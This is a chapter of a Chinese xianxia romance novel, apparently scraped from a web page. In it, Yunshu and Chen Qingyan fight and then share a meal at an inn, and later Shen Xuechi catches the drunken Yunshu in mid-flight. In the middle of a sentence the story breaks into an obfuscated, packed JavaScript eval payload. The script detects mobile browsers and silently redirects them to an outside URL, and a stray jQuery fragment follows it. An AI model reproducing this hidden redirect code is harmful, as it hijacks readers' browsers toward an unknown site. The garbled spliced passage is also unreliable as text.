“总算找到个住的地方,”大黄仰天长啸,随后趴在陈清晏耳边小声嘀咕,“喂,小药师,她怎么了?”
陈清晏破天荒地没接她的话茬,他走到柜台前去,“小二,要两间房。”
他拍了拍云舒的肩,道:“你伤还没好,好好休息。”
云舒皱了皱眉头,“我没事。”
她的脸色还有些苍白,转过身先上了楼。
陈清晏衣袖下的手握拳,他淡淡的瞳孔没什么神色,唇角紧紧地抿着。
这离碧落山庄有些距离,赶路赶得一身风尘仆仆。
她一向有收拾好再上床的习惯,眼前的床榻洁白无瑕,衬得她这一身越发脏了。
云舒索性躺在地上,双手双脚大敞四开地摆着,她闭上眼睛,仿佛和地板融为一体。
好累。
好想睡觉。
她努力地想快速入睡,头脑却越发清醒。
不知道过了多久,门外响起来敲门声。
闭着眼睛也能想到是谁,她一动不动,希望门外的人能知难而退,以为她睡着了自己离开。
那人却锲而不舍,云舒双手抱头,企图隔离噪音。
又过了一会,实在是忍无可忍,她猛地拽开门:“干嘛。”
陈清晏脸上没什么笑容,他声音很低:“下楼吃饭。”
“不去,我不饿,你们吃吧。”
说着她拽住门,想要关门。
陈清晏挡住她的动作,“我们赶了一天的路,一顿饭没吃呢。”
被他这么一说,云舒觉得有些饿了,但是陈清晏沉着一张脸,莫名地让她不想就这样下去。
云舒道:“我不饿,你们吃吧。”
陈清晏没再劝她下楼,他侧身进了屋,不轻不重地将什么东西放在桌子上,他道:“云舒,我们谈谈。”
云舒瞄了一眼,是个三层的木餐盒,这才觉得香味止不住地飘过来。
她食指大动,刚要说你带上来啦那我吃一口,就听见一道强压火气的声音:“云舒,你到底拿不拿我当朋友?”
什么朋友不朋友的,说什么呢。
饭菜突然没了味道,刚刚乱七八糟搅得她无法入睡的思绪一股脑地钻了出来,她莫名也生了些火气:“我怎么就不拿你当朋友了?”
“这么多年,你是除了我师父和掌门以外唯一知道我隐藏修为的人。”她试图以理服人。
陈清晏不理会她,他声调比起平时低低的,“每次都是这样,有什么情绪不曾和我说过一句。”
云舒知道他说的是什么,但让人承认还是很难的,她反驳道:“不是所有的东西都要告诉你的吧,你为什么总是刨根问底?出去。”
她转过身,高傲地梗着脖子,等待着摔门声的响起。
没等来摔门声,等来陈清晏从后面打过来的一拳。
挨了一拳,云舒震惊不已,胃里很快便被什么东西充斥,她扭过身,回敬了他一拳。
这一拳打在陈清晏腰腹,他闷哼一声,接着又扑过来。
云舒不甘示弱,她抱住陈清晏一只腿,朝着她后面摔过去。
两个人都没用修为,又都不是体修或者剑修,没什么格斗技巧,只朝着对方脸打去,路子野得很。
陈清晏力气大些,云舒灵活些,这一场酣畅淋漓地肉搏,打起来竟然不分上下。
最终两个人躺在地上,累得不想动弹。
云舒倚着桌子,一只手扯过来那食盒,她吹了声口哨,“呦,居然还热着呢,这东西保温作用不错啊。”
旁边有坛子酒被挡住,也被她顺手拿了下来。
陈清晏哼一声,“废话,下面放了火晶。”
云舒将那菜摆了一地,一大份八宝葫芦鸭,一大份红烧肉,一碗小荷叶莲藕汤,一份桂花糕,还有一大把炙烤羊肉串,两碗晶莹圆润的米饭。
她看着两副碗筷,撇了撇嘴:“还给自己带好了来的。”
话是这么说,她倒了碗酒,递给陈清晏。
陈清晏一只胳膊拄着地,一只手接过来,他懒懒道:“破脾气,谁不知道你。”
饿的要死,没时间拌嘴,云舒翻了个白眼,吃了口鸭腿:“好香。”
陈清晏嘲笑她:“站没站相坐没坐相吃没吃相,在神农谷你吃一顿饭得被关三天。”
他扒拉两口饭,没见得多斯文,云舒于是道:“哦,所以呢。”
其实在玄云宗,即使是她师父面前,她也不会席地而坐翘着一条腿吃饭,分明是被这人影响。
不过接下来就没什么交流了,不是有什么食不言寝不语的规矩,只是两人都饿得很。
偶尔有一句,也是被抢了菜的恼怒。
酒过三巡,陈清晏有些犯困。
“我知道……你心里不舒服,你总是这样,老管别人做什么?”他轻轻给了云舒一拳。
云舒不以为意地摆摆手:“我还在乎别人?要不是我师父我才不会下山找什么灵物好吧。”
陈清晏嘲笑她:“骗人。”
云舒咬了咬牙:“醉鬼。不跟醉鬼一般见识。”
她酒量很好,此时发了一身汗,觉得有些热热的,但还很清醒。
她也没有很在乎碧落山庄那些人吧。端详着手里白色的荷花瓣,静静的仿佛没什么特别。
她只是觉得这姑娘很惨,可是一时间又找不到什么人,让她能提着扇子就杀了。
她心里老是郁结着口气,从那个破庙,到碧落山庄,她总是想着尽量不用藏雪,尽量隐藏自己的身份。
很多事她没有从一开始就拼尽全力去做,所以做到最后不是很圆满,她也会有些自我怀疑。
许是喝得也有些多了,云舒听见自己的疑惑:“陈清晏,你说假如我为了做成功什么事,为了这件事我要放弃救一个被压在车轮下的孩子,我应该怎么做啊。”
陈清晏晕晕乎乎道:“成大事者不拘小节,不过我是小人。不过你爱怎么做怎么做呗,怎么做都没错吧。好多梅子啊。”
冷风吹过,陈清晏打了个哆嗦,云舒走上前去,拍了拍他,骂了声,“醉鬼。”
心下却是无限畅快,她将陈清晏扔在床上,随便盖了点被,拎了那坛酒,自己从窗子翻出去,顺道关了窗。
这客栈不过三层,她翻上房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499717|186000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顶,将酒放在屋檐上。
月明星稀,她没带碗,索性提着坛子豪饮,酒里面加了冰,唇碰到那冰碴子,很是殷红。
刚刚和陈清晏打架头发乱了,她索性散着,任由它们流淌。
一口接着一口,喝到后面,她也有些醉了,兴致来了,拿着藏雪,乘风而行。
“天地生辽阔,四海任我游,我欲乘风去,我欲踏雪行,瑶台三万倾,玉树酿琼晶,我凭水云身,万里不虚行。”
此时此刻,万籁俱寂,云舒觉得她自己真真切切属于自己,心下生起万丈豪情。
沈雪驰提着剑,静默地看着远处吟诗的身影。
莫名其妙地大吵,莫名其妙地到屋檐喝酒,莫名其妙地飞到高空中吟诗。
他居然也莫名其妙地大半夜跟出来,看着她发疯。
他心说不过是个耍酒疯的疯子,眼睛却定定地跟着他,脚下不肯慢下来一步。
毕竟她现在喝醉了在高空乱飞,他沈雪驰不过尽的是修士之谊,总不能看她摔死。
想到这里,他心安理得地御剑追了上去。
不过他越发吃惊,他竟然有些追不上眼前的人。
好在那人慢了下来,沈雪驰也慢了下来。
一颗心还未放回肚子里,眼前的身影直直掉了下去。
不好!
沈雪驰迅速追了上去,强烈的风刮得他脸疼。
好在那人掉下去的速度没有那么快,沈雪驰伸手一揽,将那身影捞了上来。
臂弯内软软的触感让他浑身僵硬,沈雪驰耳尖爬上一层绯色,换了个姿势提着她。
突然一声得逞的笑声响起,他垂下眼,对上一双狡黠的眸子,“你就是跟踪我的人?唉,你是不是那个什么。”
“那个刚刚问道境的沈雪驰?听说你是仙都第一奇才?”
沈雪驰心说我问道都是十几年前的事了,不过醉鬼的思维是没有逻辑的。
就像他不知道为什么下一秒这人就朝着他出招一样。
险险躲过几个冰锥,沈雪驰很想一把将手中的人扔出去。
“嘿!我要跟你打……打一场,赢的人吃叫花鸡。”
“我想吃糖糕。”
沈雪驰一边提防着醉鬼攻击,一边御剑朝着客栈飞过去。
突然,一个冰凉柔软的触感落在他的手臂,让他几乎僵直了身子。
云舒垂下脑袋,唇正落在他小臂处,有些水润的光泽,他蜷了蜷指骨,犹豫一会,还是没有抽出手。
沈雪驰看着她从哪个房间里翻出来,知道她住哪里。踌躇了一下,他推开窗,也带着云舒从窗口翻了进去。
他将云舒放在床上,看着床上另一道身影,顿了顿,轻手轻脚地将他抬到了地上。
站到门外的那一刻,他抬起袖子,似乎闻到了一点酒的味道,沈雪驰愣了愣,才反应过来他做了什么。
他难以置信地回了房间,觉得今夜月亮太晃眼,分明已经过了十五月圆之夜,真是奇怪。
藏雪扇,原来浮玉峰的那个弟子,也是问道境吗?
他摸了摸白虹,望着窗外,不知道在想什么。